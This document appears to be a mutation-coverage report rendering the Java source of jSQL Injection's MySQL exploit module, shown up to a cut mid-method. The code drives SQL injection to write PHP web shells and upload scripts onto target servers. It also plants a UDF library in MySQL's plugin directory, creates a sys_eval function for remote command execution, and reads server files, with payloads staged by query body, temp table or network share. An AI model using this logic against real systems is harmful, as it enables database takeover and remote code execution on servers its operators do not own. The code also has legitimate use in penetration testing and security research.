1 | package com.jsql.model.accessible.vendor; | |
2 | ||
3 | import com.jsql.model.InjectionModel; | |
4 | import com.jsql.model.accessible.DataAccess; | |
5 | import com.jsql.model.accessible.ExploitMode; | |
6 | import com.jsql.model.accessible.ResourceAccess; | |
7 | import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql; | |
8 | import com.jsql.model.bean.database.MockElement; | |
9 | import com.jsql.model.bean.util.Interaction; | |
10 | import com.jsql.model.bean.util.Request; | |
11 | import com.jsql.model.exception.AbstractSlidingException; | |
12 | import com.jsql.model.exception.JSqlException; | |
13 | import com.jsql.model.exception.JSqlRuntimeException; | |
14 | import com.jsql.model.injection.vendor.model.VendorYaml; | |
15 | import com.jsql.model.suspendable.SuspendableGetRows; | |
16 | import com.jsql.util.LogLevelUtil; | |
17 | import com.jsql.util.StringUtil; | |
18 | import org.apache.commons.codec.binary.Hex; | |
19 | import org.apache.commons.lang3.RandomStringUtils; | |
20 | import org.apache.commons.lang3.StringUtils; | |
21 | import org.apache.logging.log4j.LogManager; | |
22 | import org.apache.logging.log4j.Logger; | |
23 | import org.yaml.snakeyaml.Yaml; | |
24 | ||
25 | import java.io.*; | |
26 | import java.net.http.HttpResponse; | |
27 | import java.nio.charset.StandardCharsets; | |
28 | import java.nio.file.Files; | |
29 | import java.nio.file.Path; | |
30 | import java.nio.file.Paths; | |
31 | import java.util.List; | |
32 | import java.util.Objects; | |
33 | import java.util.UUID; | |
34 | import java.util.function.BiPredicate; | |
35 | import java.util.function.BinaryOperator; | |
36 | ||
37 | public class ExploitMysql { | |
38 | ||
39 | private static final Logger LOGGER = LogManager.getRootLogger(); | |
40 | public static final String NAME_TABLE = "temp"; | |
41 | private final InjectionModel injectionModel; | |
42 | private final ModelYamlMysql modelYaml; | |
43 | ||
44 | private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> { | |
45 | try { | |
46 |
2
1. lambda$new$0 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE 2. lambda$new$0 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE |
return this.buildSysEval(nameLibraryRandom); |
47 | } catch (JSqlException e) { | |
48 | throw new JSqlRuntimeException(e); | |
49 | } | |
50 | }; | |
51 | ||
52 | public ExploitMysql(InjectionModel injectionModel) { | |
53 | this.injectionModel = injectionModel; | |
54 | var yaml = new Yaml(); | |
55 | this.modelYaml = yaml.loadAs( | |
56 | injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(), | |
57 | ModelYamlMysql.class | |
58 | ); | |
59 | } | |
60 | ||
61 | public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException { | |
62 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv"); | |
63 | ||
64 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
65 | var request = new Request(); | |
66 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB); |
67 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(urlSuccess); |
68 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
69 |
1
1. lambda$createWeb$1 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE |
return urlSuccess; |
70 | }; | |
71 |
1
1. createWeb : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createWeb → NO_COVERAGE |
return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode); |
72 | } | |
73 | ||
74 | public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException { | |
75 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
76 | var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false); | |
77 |
2
1. lambda$createSql$2 : negated conditional → NO_COVERAGE 2. lambda$createSql$2 : negated conditional → NO_COVERAGE |
if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) { |
78 | var request = new Request(); | |
79 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL); |
80 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(urlSuccess, username, password); |
81 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
82 |
1
1. lambda$createSql$2 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createSql$2 → NO_COVERAGE |
return urlSuccess; |
83 | } | |
84 | return StringUtils.EMPTY; | |
85 | }; | |
86 | var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
87 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
88 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()..."); | |
89 | urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
90 | } | |
91 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
92 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()..."); | |
93 | urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
94 | } | |
95 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
96 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database"); | |
97 | } | |
98 |
1
1. createSql : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createSql → NO_COVERAGE |
return urlSuccess; |
99 | } | |
100 | ||
101 | public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException { | |
102 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
103 | try (InputStream streamToUpload = new FileInputStream(fileToUpload)) { | |
104 | HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload); | |
105 |
1
1. lambda$createUpload$3 : negated conditional → NO_COVERAGE |
if (result.body().contains(DataAccess.LEAD +"y")) { |
106 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName()); | |
107 | } else { | |
108 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName()); | |
109 | } | |
110 | } catch (InterruptedException e) { | |
111 | LOGGER.log(LogLevelUtil.IGNORE, e, e); | |
112 |
1
1. lambda$createUpload$3 : removed call to java/lang/Thread::interrupt → NO_COVERAGE |
Thread.currentThread().interrupt(); |
113 | } catch (IOException | JSqlException e) { | |
114 | throw new JSqlRuntimeException(e); | |
115 | } | |
116 |
1
1. lambda$createUpload$3 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE |
return urlSuccess; |
117 | }; | |
118 | this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode); | |
119 | } | |
120 | ||
121 | /** | |
122 | * Create shell on remote server | |
123 | * @param urlExploit URL for the script (used for url rewriting) | |
124 | */ | |
125 | public String create( | |
126 | String pathRemoteFolder, | |
127 | String urlExploit, | |
128 | String keyPropertyExploit, | |
129 | String nameExploit, | |
130 | BinaryOperator<String> biFuncGetRequest, | |
131 | String pathNetshareFolder, | |
132 | ExploitMode exploitMode | |
133 | ) throws JSqlException { | |
134 |
1
1. create : negated conditional → NO_COVERAGE |
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) { |
135 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE |
return null; |
136 | } | |
137 | ||
138 | String bodyExploit = StringUtil.base64Decode( | |
139 | this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit) | |
140 | ) | |
141 | .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD) | |
142 | .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL); | |
143 | ||
144 | // outfile + binary: content corruption | |
145 | BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> { | |
146 | try { | |
147 | String resultInjection = this.confirm(pathFolder + nameFile); | |
148 |
2
1. lambda$create$4 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE 2. lambda$create$4 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE |
return resultInjection.contains(bodyExploit); |
149 | } catch (JSqlException e) { | |
150 | throw new JSqlRuntimeException(e); | |
151 | } | |
152 | }; | |
153 | ||
154 |
1
1. create : Replaced integer subtraction with addition → NO_COVERAGE |
var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1; |
155 | String nameExploitValidated = StringUtils.EMPTY; | |
156 | ||
157 |
1
1. create : negated conditional → NO_COVERAGE |
if (exploitMode == ExploitMode.NETSHARE) { |
158 |
1
1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyBodyToShare → NO_COVERAGE |
ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit); |
159 | nameExploitValidated = this.byNetshare( | |
160 | nbIndexesPrefix, | |
161 | pathNetshareFolder, | |
162 | nameExploit, | |
163 | pathRemoteFolder, | |
164 | biPredConfirm | |
165 | ); | |
166 |
2
1. create : negated conditional → NO_COVERAGE 2. create : negated conditional → NO_COVERAGE |
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) { |
167 | nameExploitValidated = this.byQueryBody( | |
168 | nbIndexesPrefix, | |
169 | pathRemoteFolder, | |
170 | nameExploit, | |
171 | StringUtil.toHexChunks(bodyExploit.getBytes()), | |
172 | biPredConfirm | |
173 | ); | |
174 | } | |
175 |
3
1. create : negated conditional → NO_COVERAGE 2. create : negated conditional → NO_COVERAGE 3. create : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) { |
176 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
177 |
1
1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE |
this.byTable( |
178 | StringUtil.toHexChunks(bodyExploit.getBytes()), | |
179 | pathRemoteFolder + nameExploitRandom | |
180 | ); | |
181 |
1
1. create : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
182 | nameExploitValidated = nameExploitRandom; | |
183 | } | |
184 | } | |
185 | ||
186 |
1
1. create : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
187 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated); | |
188 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE |
return null; |
189 | } | |
190 | nameExploit = nameExploitValidated; | |
191 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated); | |
192 | ||
193 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE |
return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest); |
194 | } | |
195 | ||
196 | public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException { | |
197 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv"); | |
198 | ||
199 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) { |
200 | return; | |
201 | } | |
202 | ||
203 |
1
1. createUdf : Replaced integer subtraction with addition → NO_COVERAGE |
var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1; |
204 | var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir"); | |
205 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(pathPlugin)) { |
206 | throw new JSqlException("Incorrect plugin folder: path is empty"); | |
207 | } | |
208 | ||
209 | String nameLibrary = this.getNameLibrary(); | |
210 | ||
211 | pathPlugin = pathPlugin.replace("\\", "/"); | |
212 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!pathPlugin.endsWith("/")) { |
213 | pathPlugin = String.format("%s%s", pathPlugin, "/"); | |
214 | } | |
215 | ||
216 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) { |
217 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway..."); | |
218 | } | |
219 | String isSuccess = StringUtils.EMPTY; | |
220 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (exploitMode == ExploitMode.NETSHARE) { |
221 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!pathNetshareFolder.endsWith("\\")) { |
222 | pathNetshareFolder += "\\"; | |
223 | } | |
224 |
1
1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyLibraryToShare → NO_COVERAGE |
ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary); |
225 | isSuccess = this.byNetshare( | |
226 | nbIndexesFound, | |
227 | pathNetshareFolder, | |
228 | nameLibrary, | |
229 | pathPlugin, | |
230 | this.biPredCreateUdf | |
231 | ); | |
232 |
2
1. createUdf : negated conditional → NO_COVERAGE 2. createUdf : negated conditional → NO_COVERAGE |
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) { |
233 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) { |
234 | LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead"); | |
235 | } | |
236 | isSuccess = this.byQueryBody( | |
237 | nbIndexesFound, | |
238 | pathPlugin, | |
239 | nameLibrary, | |
240 | ExploitMysql.toHexChunks(nameLibrary), | |
241 | this.biPredCreateUdf | |
242 | ); | |
243 | } | |
244 |
3
1. createUdf : negated conditional → NO_COVERAGE 2. createUdf : negated conditional → NO_COVERAGE 3. createUdf : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) { |
245 | var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary; | |
246 |
1
1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE |
this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom); |
247 | this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom); | |
248 | } | |
249 | } | |
250 | ||
251 | private String getNameLibrary() throws JSqlException { | |
252 | var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec"); | |
253 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(versionOsMachine)) { |
254 | throw new JSqlException("Incorrect remote machine: unknown system"); | |
255 | } | |
256 |
2
1. getNameLibrary : negated conditional → NO_COVERAGE 2. getNameLibrary : negated conditional → NO_COVERAGE |
var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux"); |
257 | String nameLibrary; | |
258 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
if (versionOsMachine.contains("64")) { |
259 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
nameLibrary = isWin ? "64.dll" : "64.so"; |
260 | } else { | |
261 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
nameLibrary = isWin ? "32.dll" : "32.so"; |
262 | } | |
263 |
1
1. getNameLibrary : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getNameLibrary → NO_COVERAGE |
return nameLibrary; |
264 | } | |
265 | ||
266 | public String byQueryBody( | |
267 | int nbIndexesPrefix, | |
268 | String pathRemoteFolder, | |
269 | String nameExploit, | |
270 | List<String> hexChunks, | |
271 | BiPredicate<String, String> biPredConfirm | |
272 | ) { | |
273 | String nameExploitValidated = StringUtils.EMPTY; | |
274 | var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody(); | |
275 | ||
276 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
277 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
int countUnionIndex = this.injectionModel.getMediatorUtils().getPreferencesUtil().isLimitingUnionIndex() |
278 | ? this.injectionModel.getMediatorUtils().getPreferencesUtil().countUnionIndex() | |
279 | : 15; | |
280 |
2
1. byQueryBody : negated conditional → NO_COVERAGE 2. byQueryBody : changed conditional boundary → NO_COVERAGE |
for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) { |
281 | int finalI = i; | |
282 | LOGGER.log( | |
283 | LogLevelUtil.CONSOLE_DEFAULT, | |
284 | "Checking file write with [union select {}fileBody]", | |
285 |
1
1. lambda$byQueryBody$5 : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::lambda$byQueryBody$5 → NO_COVERAGE |
() -> "'',".repeat(finalI) |
286 | ); | |
287 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
288 | "and 1=2 union", // false required, prevent writing origin rows instead of file body when true | |
289 | "'',".repeat(i), | |
290 | String.join(StringUtils.EMPTY, hexChunks), | |
291 | pathRemoteFolder + nameExploitRandom | |
292 | ), "body#union-dump"); | |
293 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
294 | nameExploitValidated = nameExploitRandom; | |
295 | break; | |
296 |
2
1. byQueryBody : negated conditional → NO_COVERAGE 2. byQueryBody : changed conditional boundary → NO_COVERAGE |
} else if (nbIndexesPrefix > -1) { // interrupt when Union already found |
297 | break; | |
298 | } | |
299 | } | |
300 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
301 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack..."); | |
302 | nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
303 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
304 | ";", | |
305 | StringUtils.EMPTY, | |
306 | String.join(StringUtils.EMPTY, hexChunks), | |
307 | pathRemoteFolder + nameExploitRandom | |
308 | ), "body#stack-dump"); | |
309 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
310 | nameExploitValidated = nameExploitRandom; | |
311 | } | |
312 | } | |
313 |
1
1. byQueryBody : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byQueryBody → NO_COVERAGE |
return nameExploitValidated; |
314 | } | |
315 | ||
316 | public String byNetshare( | |
317 | int nbIndexesPrefix, | |
318 | String pathNetshareFolder, | |
319 | String nameExploit, | |
320 | String pathRemoteFolder, | |
321 | BiPredicate<String, String> biPredConfirm | |
322 | ) { | |
323 | String nameExploitValidated = StringUtils.EMPTY; | |
324 | var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\"); | |
325 | var pattern = this.modelYaml.getUdf().getAddFile().getNetshare(); | |
326 | ||
327 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union..."); | |
328 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
329 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
330 | "and 1=2 union", // required false, prevent writing origin rows instead of file body when true | |
331 | "'',".repeat(nbIndexesPrefix), | |
332 | pathShareEncoded + nameExploit, | |
333 | pathRemoteFolder + nameExploitRandom | |
334 | ), "netshare#union"); | |
335 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
336 | nameExploitValidated = nameExploitRandom; | |
337 | } | |
338 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
339 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack..."); | |
340 | nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
341 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
342 | ";", | |
343 | StringUtils.EMPTY, | |
344 | pathShareEncoded + nameExploit, | |
345 | pathRemoteFolder + nameExploitRandom | |
346 | ), "netshare#stack"); | |
347 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
348 | nameExploitValidated = nameExploitRandom; | |
349 | } | |
350 | } | |
351 |
1
1. byNetshare : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byNetshare → NO_COVERAGE |
return nameExploitValidated; |
352 | } | |
353 | ||
354 | public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException { | |
355 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack..."); | |
356 | var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname"); | |
357 |
2
1. byTable : negated conditional → NO_COVERAGE 2. byTable : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) { |
358 | nameDatabase = "mysql"; | |
359 | } | |
360 | var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8); // underscore required, dash not allowed | |
361 | var nameSchemaTable = nameDatabase +"."+ nameTableRandom; | |
362 | this.injectionModel.injectWithoutIndex(String.format( | |
363 | this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(), | |
364 | nameSchemaTable | |
365 | ), ResourceAccess.TBL_DROP); | |
366 | var countResult = this.getCountTable(nameDatabase, nameTableRandom); | |
367 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (!"0".equals(countResult)) { |
368 | throw new JSqlException("Drop table failure: "+ countResult); | |
369 | } | |
370 | this.injectionModel.injectWithoutIndex(String.format( | |
371 | this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(), | |
372 | nameSchemaTable | |
373 | ), ResourceAccess.TBL_CREATE); | |
374 | countResult = this.getCountTable(nameDatabase, nameTableRandom); | |
375 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (!"1".equals(countResult)) { |
376 | throw new JSqlException("Create table failure: "+ countResult); | |
377 | } | |
378 | int indexChunk = 0; | |
379 | for (String chunk: bodyHexChunks) { | |
380 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (indexChunk == 0) { |
381 | this.injectionModel.injectWithoutIndex(String.format( | |
382 | this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(), | |
383 | nameSchemaTable, | |
384 | chunk | |
385 | ), "tbl#init"); | |
386 | } else { | |
387 | this.injectionModel.injectWithoutIndex(String.format( | |
388 | this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(), | |
389 | nameSchemaTable, | |
390 | chunk | |
391 | ), ResourceAccess.TBL_FILL); | |
392 | } | |
393 |
1
1. byTable : Changed increment from 1 to -1 → NO_COVERAGE |
indexChunk++; |
394 | } | |
395 | this.injectionModel.injectWithoutIndex(String.format( | |
396 | this.modelYaml.getUdf().getAddFile().getTempTable().getDump(), | |
397 | nameSchemaTable, | |
398 | pathRemoteFile | |
399 | ), ResourceAccess.TBL_DUMP); | |
400 | } | |
401 | ||
402 | private String getCountTable(String nameDatabase, String nameTableRandom) { | |
403 | try { | |
404 |
1
1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE |
return this.injectionModel.getResourceAccess().getResult(String.format( |
405 | this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(), | |
406 | nameTableRandom, | |
407 | nameDatabase | |
408 | ), "tbl#check"); | |
409 | } catch (JSqlException e) { | |
410 |
1
1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE |
return e.getMessage(); // error message then logged |
411 | } | |
412 | } | |
413 | ||
414 | private boolean buildSysEval(String nameLibrary) throws JSqlException { | |
415 | this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop"); | |
416 | this.injectionModel.injectWithoutIndex(String.format( | |
417 | this.modelYaml.getUdf().getAddFunction().getCreate(), | |
418 | nameLibrary | |
419 | ), "udf#function"); | |
420 | var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm"); | |
421 |
1
1. buildSysEval : negated conditional → NO_COVERAGE |
if (!confirm.contains("sys_eval")) { |
422 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found"); | |
423 |
1
1. buildSysEval : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE |
return false; |
424 | } | |
425 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found"); | |
426 | ||
427 | var request = new Request(); | |
428 |
1
1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_MYSQL); |
429 |
1
1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(null, null); |
430 |
1
1. buildSysEval : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
431 |
1
1. buildSysEval : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE |
return true; |
432 | } | |
433 | ||
434 | public String confirm(String path) throws JSqlException { | |
435 | var sourcePage = new String[]{ StringUtils.EMPTY }; | |
436 |
1
1. confirm : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::confirm → NO_COVERAGE |
return new SuspendableGetRows(this.injectionModel).run( |
437 | this.modelYaml.getFile().getRead().replace( | |
438 | VendorYaml.FILEPATH_HEX, | |
439 | Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8)) | |
440 | ), | |
441 | sourcePage, | |
442 | false, | |
443 | 1, | |
444 | MockElement.MOCK, | |
445 | "xplt#confirm-file" | |
446 | ); | |
447 | } | |
448 | ||
449 | public String runRceCmd(String command, UUID uuidShell) { | |
450 | String result; | |
451 | try { | |
452 | result = this.injectionModel.getResourceAccess().getResult(String.format( // 0xff splits single result in many chunks => replace by space | |
453 | this.modelYaml.getUdf().getRunCmd(), | |
454 | command.replace(StringUtils.SPACE, "%20") // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l' | |
455 | ), "udf#run-cmd") +"\n"; | |
456 | } catch (JSqlException e) { | |
457 | result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command); | |
458 | } | |
459 | var request = new Request(); | |
460 |
1
1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.GET_TERMINAL_RESULT); |
461 |
1
1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(uuidShell, result); |
462 |
1
1. runRceCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
463 |
1
1. runRceCmd : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::runRceCmd → NO_COVERAGE |
return result; |
464 | } | |
465 | ||
466 | public String getRead(String pathFile) throws AbstractSlidingException { | |
467 | LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege"); | |
468 |
1
1. getRead : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getRead → NO_COVERAGE |
return new SuspendableGetRows(this.injectionModel).run( |
469 | this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace( | |
470 | VendorYaml.FILEPATH_HEX, | |
